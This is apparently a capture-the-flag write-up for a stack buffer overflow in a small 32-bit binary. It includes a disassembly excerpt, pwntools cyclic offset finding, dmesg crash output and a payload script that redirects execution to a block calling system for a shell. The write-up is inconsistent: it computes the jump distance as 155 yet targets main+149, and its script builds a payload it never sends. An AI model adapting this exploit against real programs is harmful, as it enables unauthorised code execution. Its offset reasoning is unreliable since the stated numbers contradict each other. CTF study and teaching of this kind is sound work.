main
use return value from vuln
to determine the final output. But return from vuln
is not going to be true
due to the logic below.
int good = 0;
for (int i = 0; buf[i]; i++) {
good &= buf[i] ^ buf[i];
}
return good
We need main
to go to the branch that call system
to launch a shell. How about we just jmp to the critical block of code?
080485df <main>:
80485df: 8d 4c 24 04 lea 0x4(%esp),%ecx
80485e3: 83 e4 f0 and $0xfffffff0,%esp
80485e6: ff 71 fc pushl -0x4(%ecx)
80485e9: 55 push %ebp
...
8048674: 83 c4 10 add $0x10,%esp
8048677: 83 ec 0c sub $0xc,%esp
804867a: 68 99 87 04 08 push $0x8048799
804867f: e8 cc fd ff ff call 8048450 <system@plt>
The system
call starts at 0x804867a, we can calculate the distance between main
and the call, so the destination would be main+149
.
distance = 0x804867a-0x80485df = 155
The padding can be found by pwn.cyclic
, feed the program with 64 bytes of cyclic string.
>>> pwn.cyclic(64)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
Check segfault message in dmesg
, notice the 6161616e
part? The padding is 52
in this case.
segfault at 6161616e ip 000000006161616e sp 00000000ffc07c30 error 14 in libc-2.27.so[f7d69000+1d2000]
>>> pwn.cyclic_find(0x6161616e)
52
So the payload is 52 bytes of garbage + address of system call block
.
payload = b'A'*52
payload += pwn.p32(elf.sym["main"]+149)
pr.sendline("cat flag.txt")
print(pr.readall(2).decode())